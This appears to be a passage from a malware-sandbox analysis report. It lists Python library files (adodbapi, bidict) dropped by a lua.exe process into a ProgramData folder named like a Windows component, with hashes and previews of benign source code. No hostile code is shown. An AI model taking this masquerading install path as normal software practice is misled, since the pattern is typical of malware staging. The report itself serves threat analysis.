SSDEEP:	12:JFS/gWWyeWNG+hbeashXFmitoXfy5LwAqgz9/wdOic//yOv:6/lsaGX0Xa5chgx/i0/6Ov
MD5:	3C93C5C95FC6FC9F454B67373B8BD999
SHA1:	E6284ECF53423908962409E251AEE3BA2B52C378
SHA-256:	761EE5B3C5388F7F27349172802207134E1BFCEBDE27581601373B0B3CAB1D89
SHA-512:	F9DF3B43C42DAB4198B9F5B62996204A184544F206023B264AAB61DE869590FD8D7512CA2FA38BD0D43A298B02EEAEBC7A8F06EA3753A8790C7D16A4AD6E58EA
Malicious:	false
Preview:	"""call using an open ADO connection --> list of table names"""..from . import adodbapi....def names(connection_object):.. ado = connection_object.adoConn.. schema = ado.OpenSchema(20) # constant = adSchemaTables.... tables = [].. while not schema.EOF:.. name = adodbapi.getIndexedValue(schema.Fields,'TABLE_NAME').Value.. tables.append(name).. schema.MoveNext().. del schema.. return tables..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\setup.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2982
Entropy (8bit):	5.067318969263889
Encrypted:	false
SSDEEP:	48:izCNqI/qI9QIRj6gILyk13LeL7RaDawkEdOxvShKNh5ptA/rMnpINX9cGAjvAT/W:izCNr/r9QIRGgILyk13Q7RaD7kMOxqhC
MD5:	2D5C711FB46932E36F01607314DE1CB6
SHA1:	C5C525BCC334126A1B670D82C4C58DFFDCECDCCC
SHA-256:	B7ACAA62713A249A724D6C87C9A0D6FB8906721DAB36D48228B0B2F2E4C99D08
SHA-512:	AA310E07664D7F94F429DF8C87EEF6BA7EF1DCDB83CC080092A31D5267261108A3ADBA9D924A69225C91A35A4BAB34187E5493AD154CE506AA793AA604BF305A
Malicious:	false
Preview:	"""adodbapi -- a pure Python PEP 249 DB-API package using Microsoft ADO..Adodbapi can be run on CPython version 2.7,.or IronPython version 2.6 and later,.or Python 3.5 and later (after filtering through 2to3.py).""".CLASSIFIERS = """\.Development Status :: 5 - Production/Stable.Intended Audience :: Developers.License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL).Operating System :: Microsoft :: Windows.Operating System :: POSIX :: Linux.Programming Language :: Python.Programming Language :: Python :: 3.Programming Language :: SQL.Topic :: Software Development.Topic :: Software Development :: Libraries :: Python Modules.Topic :: Database."""..NAME = 'adodbapi'.MAINTAINER = "Vernon Cole".MAINTAINER_EMAIL = "vernondcole@gmail.com".DESCRIPTION = """A pure Python package implementing PEP 249 DB-API using Microsoft ADO.""".URL = "http://sourceforge.net/projects/adodbapi".LICENSE = 'LGPL'.CLASSIFIERS

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\adodbapitest.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	55811
Entropy (8bit):	4.711258975787992
Encrypted:	false
SSDEEP:	384:MkuQJ4q695SdNPJoI/qR6PeeXWhaWNh3JjPdax26wPUUs2P0mi2Oa7Bb9HeIb2QC:MkuQJ4yDPWI/qR6GGkaahFdEjwX0cZC
MD5:	1C9EAFC2BE3C1CF14114143357F59E65
SHA1:	B792010293C5BA59D5BE69CB1C2E8DA294E6E684
SHA-256:	41D13007BD78790315328F0694070FD21B9A3D3486DDC23632A561DF1F87B3FC
SHA-512:	CEA60664FC0130089B8AE40F9DD2AA979F6DD7EB3ABDDBBEE13EDFF2F9C71407F1BF7896A4D5FD50F5ED0F0104FB083B4D3FB35598178931FC6370E118A8D1E7
Malicious:	false
Preview:	""" Unit tests version 2.6.1.0 for adodbapi""".""". adodbapi - A python DB API 2.0 interface to Microsoft ADO.. Copyright (C) 2002 Henrik Ekelund.. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.. Updates by Vernon Cole."""..import unittest.import sys.import datetime.import decimal.import copy.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\adodbapitestconfig.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7361
Entropy (8bit):	4.944210579425516
Encrypted:	false
SSDEEP:	192:RIFQFzB96hWy/h5jJD7qr+VtGoCAQwDSDY4:RxsIy/XjJDkgQ/wDuY4
MD5:	3185492B05D00257F61FA02DE9CC038F
SHA1:	C27146BB719477242BF875421E76717F10B80D92
SHA-256:	A5A48C5126EE839748D124DD2F93B83C4F3E13151135F790AE0A0DA5FCBEF747
SHA-512:	08C194E913002D9B34B5206379F83C1A06B198B4B31B8CCA00DF6707BDEF7586732E80ADD77FC4E824EE82136DCDF05261DB214BD6A56C10F0C69E31DC66791B
Malicious:	false
Preview:	# Configure this to _YOUR_ environment in order to run the testcases.."testADOdbapiConfig.py v 2.6.2.B00"..# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #.# #.# # TESTERS:.# #.# # You will need to make numerous modifications to this file.# # to adapt it to your own testing environment..# #.# # Skip down to the next "# #" line --.# # -- the things you need to change are below it..# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #.import platform.import sys.import random..import is64bit.import setuptestframework.import tryconnection..print("\nPython", sys.version).node = platform.node().try: print('node=%s, is64bit.os()= %s, is64bit.Python()= %s' % (node, is64bit.os(), is64bit.Python())).except: pass..if '--help' in sys.argv:. print("""Valid command-line switches are:. --package - create a temporary test package, run 2to3 if needed.. --all - run all possible tests. --time - loop over time format tests (including mxdatetime if present). --nojet

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\dbapi20.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	34080
Entropy (8bit):	4.365679161361469
Encrypted:	false
SSDEEP:	192:W78xud+br2PCZIDiCb87y3gmXKGGU2vY9m6j3Kyj9oMDDq/NnCMujGJ606zzUj9J:W78x/A8O3gmsULAU3VjSVnPv/1us9
MD5:	54D2BEE0B96C57C30291C60607778E79
SHA1:	1A37781D94D27E89431AD7AE094D926808763B6B
SHA-256:	0B12A9425B1E7E13148C9E03F54483CA335E4F74D33E11C36AB2F5857114F2AF
SHA-512:	5E011D90EA7E0BD4114B290A6FE2D2CFAE25208F338141758309BAB023926CB03E52F7FD60193A35666C808ECC92B305296EB32A69A275D82CB36663C5EFA508
Malicious:	false
Preview:	#!/usr/bin/env python.''' Python DB API 2.0 driver compliance unit test suite. . . This software is Public Domain and may be used without restrictions... "Now we have booze and barflies entering the discussion, plus rumours of. DBAs on drugs... and I won't tell you what flashes through my mind each. time I read the subject line with 'Anal Compliance' in it. All around. this is turning out to be a thoroughly unwholesome unit test.".. -- Ian Bicking.'''..__version__ = '$Revision: 1.15.0 $'[11:-2].__author__ = 'Stuart Bishop <stuart@stuartbishop.net>'..import unittest.import time.import sys..if sys.version[0] >= '3': #python 3.x. _BaseException = Exception. def _failUnless(self, expr, msg=None):. self.assertTrue(expr, msg).else: #python 2.x. from exceptions import Exception as _BaseException. def _failUnless(self, expr, msg=None):. self.failUnless(expr, msg) ## deprecated since Python 2.6..# set this to "True" to follow API 2.0 to

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\is64bit.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	4.715305201798576
Encrypted:	false
SSDEEP:	24:tHUmPtH+vt/1T77ChCWiEkH//BQ7/hMiWnKF7BSfSQVvgGgQtICdeeppJRNE:tHXVHwtNTeC5bH//S7Cnk7BSfSQqGgQK
MD5:	01EF40F1AC4222D2CFBC2790B32DF9F4
SHA1:	6EB2B02322A629E419BE10738EB98ACCE8A1B49D
SHA-256:	661D0E7B2787E94A1050B08A6F5462D3B5A77C8B2AD819FF8CE264965B7A1A46
SHA-512:	FDDF62982840644BD4A82516938EAB41C30DD50D5AC986DD5D5B2BCA8744B72618596DAC7EAC70F3BE23520CC02E9B1C84A2A71308384E52B1207F47661C944F
Malicious:	false
Preview:	"""is64bit.Python() --> boolean value of detected Python word size. is64bit.os() --> os build version"""..import sys....def Python():.. if sys.platform == 'cli': #IronPython.. import System.. return System.IntPtr.Size == 8.. else:.. try:.. return sys.maxsize > 2147483647.. except AttributeError:.. return sys.maxint > 2147483647....def os():.. import platform.. pm = platform.machine().. if pm != '..' and pm.endswith('64'): # recent Python (not Iron).. return True.. else:.. import os.. if 'PROCESSOR_ARCHITEW6432' in os.environ:.. return True # 32 bit program running on 64 bit Windows.. try:.. return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64') # 64 bit Windows 64 bit program.. except IndexError:.. pass # not Windows.. try:.. return '64' in platform.architecture()[0] # this often works in Linux.. except:.. r

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\setuptestframework.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4159
Entropy (8bit):	4.5518780528073375
Encrypted:	false
SSDEEP:	96:Jzy2DPp54RfdnNWZ8uH8MlME8D/Ik4oKRpuOf6iSB5:J24PcRlnNWxg/98HCi6
MD5:	B808E9DA78EBE6DAE62FD1AAD6A783BD
SHA1:	1D5C2F57D4D31542BCC8E2D94893DAB2C5CD0814
SHA-256:	1C54B4696BAB8481C080EB0825DA5880B4DA209E7C77F0068FB6688279A6F19C
SHA-512:	9E2402696A0668CBF36160B14CFA5A6083286571C3BA5045F0E6B04C43611E36DCDB0BE0EA85337AD0FAE6211CED0D2C57743F9D503867228C2609F33E13A896
Malicious:	false
Preview:	#!/usr/bin/python2..# Configure this in order to run the testcases..."setuptestframework.py v 2.6.0.8"..import os..import sys..import tempfile..import shutil....try:.. OSErrors = (WindowsError, OSError)..except NameError: # not running on Windows.. OSErrors = OSError....def maketemp():.. temphome = tempfile.gettempdir().. tempdir = os.path.join(temphome, 'adodbapi_test').. try: os.mkdir(tempdir).. except: pass.. return tempdir....def _cleanup_function(testfolder, mdb_name):.. try: os.unlink(os.path.join(testfolder, mdb_name)).. except: pass # mdb database not present.. try:.. shutil.rmtree(testfolder).. print(' cleaned up folder', testfolder).. except: pass # test package not present....def getcleanupfunction():.. return _cleanup_function....def find_ado_path():.. adoName = os.path.normpath(os.getcwd() + '/../../adodbapi.py').. adoPackage = os.path.dirname(adoName).. return adoPackage....# make a new package directory for t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\test_adodbapi_dbapi20.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6000
Entropy (8bit):	4.636153077475715
Encrypted:	false
SSDEEP:	96:9fBaXE0zQzby03FO3ZAYX0qnjQHAudOFrhQMbCgl6w+THrNwT/eZSyYk:XaXJzQzby0VO3CJqnj4cUMbCRweLNwjY
MD5:	C6E225B3FD63FA1009ED57D509F090F0
SHA1:	ABAF5F9743B2A2067A98078A82C6817C92936C12
SHA-256:	968F7613E99C9BE9657B71A6A153B1E2D735C469A51BAC171E3C62F8F80A6CF8
SHA-512:	F2799F62327EC96EAA9228DA402E3EFE68BA485EAD5B9274296A3AB58CA307265DB90C90815115EFCE1B0FE3F05F049D017B72CF5F2FCD0ACF4A72BFA0D272FD
Malicious:	false
Preview:	print("This module depends on the dbapi20 compliance tests created by Stuart Bishop")..print("(see db-sig mailing list history for info)")..import platform..import unittest..import sys....import dbapi20..import setuptestframework....testfolder = setuptestframework.maketemp()..if '--package' in sys.argv:.. pth = setuptestframework.makeadopackage(testfolder).. sys.argv.remove('--package')..else:.. pth = setuptestframework.find_ado_path()..if pth not in sys.path:.. sys.path.insert(1,pth)..# function to clean up the temporary folder -- calling program must run this function before exit...cleanup = setuptestframework.getcleanupfunction()....import adodbapi..import adodbapi.is64bit as is64bit..db = adodbapi....if '--verbose' in sys.argv:.. db.adodbapi.verbose = 3....print(adodbapi.version)..print("Tested with dbapi20 %s" % dbapi20.__version__)....try:.. onWindows = bool(sys.getwindowsversion()) # seems to work on all versions of Python..except:.. onWindows = False....nod

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\tryconnection.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.45994398759956
Encrypted:	false
SSDEEP:	12:3sfx2xgFyl0KPPJzy7y2GSEPsDrNSqUnsQc3fXHFRCOFNDal6oGytGmaAlajtGtl:cfxFy1J27abPscq/bfKqcso7bYrqrTXx
MD5:	AD9FACA724C8385DD13819CF7553A6BB
SHA1:	C0C1F4450C87A08E74FE8F464A6814ABCCECE050
SHA-256:	A920EB724A6454A6FA293C8675D3945ACDB7F2F62C383FAFEF9175071D9958DC
SHA-512:	124B379BB58BA43BEF73A54B71C734D3C93EE502940C7D1A1C2899EF0F5806EFC73F750156A46A595617C60F6107FF911B3D5C6C48F96BD94682E901B8CD3CBF
Malicious:	false
Preview:	remote = False # automatic testing of remote access has been removed here..def try_connection(verbose, args, kwargs):. import adodbapi.. dbconnect = adodbapi.connect. try:. s = dbconnect(args, kwargs) # connect to server. if verbose:. print('Connected to:', s.connection_string). print('which has tables:', s.get_table_names()). s.close() # thanks, it worked, goodbye. except adodbapi.DatabaseError as inst:. print(inst.args[0]) # should be the error message. print('Failed getting connection using=',repr(args),repr(kwargs)). return False, (args, kwargs), None.. print(" (successful)").. return True, (args, kwargs, remote), dbconnect...def try_operation_with_expected_exception(expected_exception_list, some_function, args, *kwargs):. try:. some_function(args, **kwargs). except expected_exception_list as e:. return True, e. except:. raise # an exception other than

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16725
Entropy (8bit):	4.537170378389401
Encrypted:	false
SSDEEP:	384:na28R/9woeF6cXpMPWeXlUl5omyzQdBGYVSlVCqx2:nNw/6oj25kzQdBGXCqY
MD5:	9741C346EEF56131163E13B9DB1241B3
SHA1:	D22157ABC0FC0B4AE96380C09528E23CF77290A9
SHA-256:	1F256ECAD192880510E84AD60474EAB7589218784B9A50BC7CEEE34C2B91F1D5
SHA-512:	C1E3A0C8F5267FB5C0B65733BDA037C62D914ED989BEE0F510D8196B1029EEC00D40F415CE1514A4996D420BA02D856D04DB0915B64573EF4A36033CC5EFB94E
Malicious:	false
Preview:	Mozilla Public License Version 2.0.==================================..1. Definitions.--------------..1.1. "Contributor". means each individual or legal entity that creates, contributes to. the creation of, or owns Covered Software...1.2. "Contributor Version". means the combination of the Contributions of others (if any) used. by a Contributor and that particular Contributor's Contribution...1.3. "Contribution". means Covered Software of a particular Contributor...1.4. "Covered Software". means Source Code Form to which the initial Contributor has attached. the notice in Exhibit A, the Executable Form of such Source Code. Form, and Modifications of such Source Code Form, in each case. including portions thereof...1.5. "Incompatible With Secondary Licenses". means.. (a) that the initial Contributor has attached the notice described. in Exhibit B to the Covered Software; or.. (b) that the Covered Software was made available under the terms of.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	11630
Entropy (8bit):	5.0905472620973375
Encrypted:	false
SSDEEP:	192:wzsaVf/OKNDRCOxYCqu7eD5QDRhvd22wd7eAknR1eM1XS5zku/NoxMtq6vxrRLw4:ws+WKNNC8Yw7E5QNhV22wd7oNQ5ku/KK
MD5:	7EA948FF61AF49F25168F09F8BBC0E34
SHA1:	3A6325D4DC21DD452A0D34E8D2A4025AAD1797D6
SHA-256:	EA9DF7A049CAEA220404CE28EF040B18F5327981ED73EC845BAFECD393777797
SHA-512:	0BC85FC880219ED25AD3FCD901EC5DA9CF09EF8449CEA38C0B2E1128622B9B630E968E63584C2D82FCDECBBACBBB30E733C4E9D9FD4BF11EFDEF2DDDE10E75AE
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: bidict.Version: 0.21.2.Summary: The bidirectional mapping library for Python..Home-page: https://bidict.readthedocs.io.Author: Joshua Bronson.Author-email: jabronson@gmail.com.License: MPL 2.0.Keywords: dict dictionary mapping datastructure bimap bijection bijective injective inverse reverse bidirectional two-way 2-way.Platform: UNKNOWN.Classifier: Development Status :: 4 - Beta.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0).Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :: Python :: Implementation :: PyPy.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Req

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2621
Entropy (8bit):	5.7285170592443
Encrypted:	false
SSDEEP:	48:p+nuXzu+gu+iu+Iu+mou+lfx3DcPSmxwVE+ztg/7gbJWlItrQ4W3ojP7t8bGWPQ0:bXziQuooN3DcPSmxwVE+ztg/7gbJWlIS
MD5:	97DE09453B3ADD50E1700C522AB714DD
SHA1:	AC0E5639CAD741502D5D9ED22A6461ED1997DE46
SHA-256:	7414181F4B1071F8F027B8D94345D2E9BCBBB3473C85C6A545EFED0A20B88EBD
SHA-512:	AAF23FBE6B88E4C9D324F15A1688CDF742124DAA372193E332F6C45893D5D930A5814AE6BFB6554E5CF1685371C31B0F0EFD83822F5B7685727CB0F144CFBF0D
Malicious:	false
Preview:	bidict-0.21.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..bidict-0.21.2.dist-info/LICENSE,sha256=HyVuytGSiAUQ6ErWBHTqt1iSGHhLmlC8fO7jTCuR8dU,16725..bidict-0.21.2.dist-info/METADATA,sha256=6p33oEnK6iIEBM4o7wQLGPUyeYHtc-yEW6_s05N3d5c,11630..bidict-0.21.2.dist-info/RECORD,,..bidict-0.21.2.dist-info/WHEEL,sha256=ADKeyaGyKF5DwBNE0sRE5pvW-bSkFMJfBuhzZ3rceP4,110..bidict-0.21.2.dist-info/top_level.txt,sha256=WuQO02jp0ODioS7sJoaHg3JJ5_3h6Sxo9RITvNGPYmc,7..bidict/__init__.py,sha256=A2ZUK4jTHNN6T3QUaSh7xuIwc-Ytgw6gVLHNx07D7Fo,3910..bidict/__pycache__/__init__.cpython-37.pyc,,..bidict/__pycache__/_abc.cpython-37.pyc,,..bidict/__pycache__/_base.cpython-37.pyc,,..bidict/__pycache__/_bidict.cpython-37.pyc,,..bidict/__pycache__/_delegating.cpython-37.pyc,,..bidict/__pycache__/_dup.cpython-37.pyc,,..bidict/__pycache__/_exc.cpython-37.pyc,,..bidict/__pycache__/_frozenbidict.cpython-37.pyc,,..bidict/__pycache__/_frozenordered.cpython-37.pyc,,..bidict/__pycache__/_iter.cpytho

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCf7irO5S:RtBMwlViGjWBBwt
MD5:	D25A99ECD1ECB535EE4E31874B0C7B95
SHA1:	B80780FBBF97A5FBF433C4F692E340632EA675F1
SHA-256:	00329EC9A1B2285E43C01344D2C444E69BD6F9B4A414C25F06E873677ADC78FE
SHA-512:	539E072414E6E8AD3BFAEDB0587507443B39826814FB330B57D605FB5FBE61134D3548359F41A14CC63B44E23EF0AA1E62EA1C4A2F3B344BE548F4C2C8143976
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:IRvn:IRv
MD5:	0511FCCC1A9B9E06CFC7038CC98D5C15
SHA1:	AFFB7181A5AEDD560EBB9CEB7A0394BBD9341F92
SHA-256:	5AE40ED368E9D0E0E2A12EEC268687837249E7FDE1E92C68F51213BCD18F6267
SHA-512:	C4F50CFCC13FCCB50F8E84C9C2AA19C2ED6BD7AD171C1951D6C404E3299027676EFE05539B0F571B00DCB5D00C79D3692760FC8437B813649ED79C720C6C3EF6
Malicious:	false
Preview:	bidict.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3910
Entropy (8bit):	4.821383969128057
Encrypted:	false
SSDEEP:	48:pnLP82aJ+LoO+2/pKktg3R2kUGwOh+AlDSq7qE1ySIZcYocpqc+M4RJ14hFRlPpx:tbjp5wlDn7qKyzcYoRJ1URpZFTF
MD5:	FDFF86F0B9AF4AE1984D25A54D940060
SHA1:	AB6DB7B40D8C27138F4694FD85576DCE4193A077
SHA-256:	0366542B88D31CD37A4F741469287BC6E23073E62D830EA054B1CDC74EC3EC5A
SHA-512:	7CD004C1DF3BAD2D82682CF2C75B91922D59D71A464DF1A00E2B5BD675873059D908D06B672162690B15833292F5CF29A6786F3F179F1824441B637F571E014C
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_abc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	4626
Entropy (8bit):	4.665949618267224
Encrypted:	false
SSDEEP:	96:tbj2TofIfUAtk4loyruQJp2j4j0edkBaMy4PSFIgHg2:tbCTPtk41hqYWYnt
MD5:	1F0043F1339E05867C33F1F1A35BD0CA
SHA1:	7CB06C59DD10F917AEB3C56B72DFFDB6697A161F
SHA-256:	8AB116B289450A9F29B3BECE2A65B0074813AE95DCE5B7B4441747690A0FC9B9
SHA-512:	BC1C9507EC20B03D2880230DDD6CD99A6350779B64C332650E2B18234FC6101DAE033EC3E259FC8B37B1F71243C5E7837DD4240F7DF47A5B48F1CCC9A79E1685
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_base.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	16180
Entropy (8bit):	4.689209123975267
Encrypted:	false
SSDEEP:	384:bIiKeLqZRehDsFtPZoV8gUz+SCMc/rFv33v0qT2w/z:zKeL4RehDsFnkMcR33v0qT2wb
MD5:	3D50F31B01D7298D43E13F8DF4A8EED3
SHA1:	C60257DBBE866DCDDD829FB39A6C9E3418B95706
SHA-256:	93BA0B1706FFE993073217C8DB5EE19CCF967C9E28C55313A25D411B5E04DDC0
SHA-512:	FD4B4D1A74E360464FDCD548E00247A6FB3AE2B22DBDF924BEA2857D3798AA9C022E2C7467ECB063680326B6286757DDF7CCFB297B795617B4E30790C6B947F4
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_bidict.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	4.476723373157152
Encrypted:	false
SSDEEP:	24:lTR4Wrm8PDwSCAaJ+qb90oOgazkh58T14W2qhhP6oTmgHgWLe23azkh58Ts:pnLP82aJ+LoOeD8B4cP6ZgHgWacD84
MD5:	AFD8ADADAEA96AB600F3CDD22EB06187
SHA1:	160295C0367492E4E18761BD5794F5405E5E98DD
SHA-256:	F391B54F259E3192C4EF41CAFAAC0256E83E6C275A2376C87A8071273C129244
SHA-512:	DBB7DDD820131C7509301992BCC114D8FB185E20B79EB5D8C51CAB44DE1BDFF42FA8FFF4E61D5C323ECA70FF16CB5CFE1492104E74691CEC98ABA3CC88920EBC
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_delegating.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	4.914585963610615
Encrypted:	false
SSDEEP:	24:lTR4Wrm8F4d2qhsME23XAQQ8ekZ+XS0e7yKSbSHR6p:pnLF4vsMt3w2ll0fusp
MD5:	8CB84F2C0A244185603CF4D89C583680
SHA1:	054B046ABD206CC3A374176ECCC25A5D7389F9C7
SHA-256:	5226D97B0C2098DF22044099B6310BC0A979CE172EC589F2CB682C8805C17B77
SHA-512:	FFCC082C0AA67BD1B104FE2EFB422DB0E69D05E0AEF3CE23BE4179B26CF166DC484F1F566F7262F3AD4CBE827D426F783DA16E1577D0BC0EEE73B6CE506ACFC0
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...."""Provide :class:`_DelegatingBidict`."""..import typing as _t..from ._base import BidictBase.from ._typing import KT, VT...class _DelegatingBidict(BidictBase[KT, VT]):. """Provide optimized implementations of several methods by delegating to backing dicts... Used to override less efficient implementations inherited by :class:`~collections.abc.Mapping`.. """.. __slots__ = ().. def __iter__(self) -> _t.Iterator[KT]:. """Iterator over the contained keys.""". return iter(self._fwdm).. def keys(self) -> _t.KeysView[KT]:. """A set-like object providing a view on the contained keys.""". return self._fwdm.keys().. def values(self) -> _t.KeysView[VT]: # type: igno

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_dup.py Download File
Process:	C:\ProgramData\lua\lua.exe
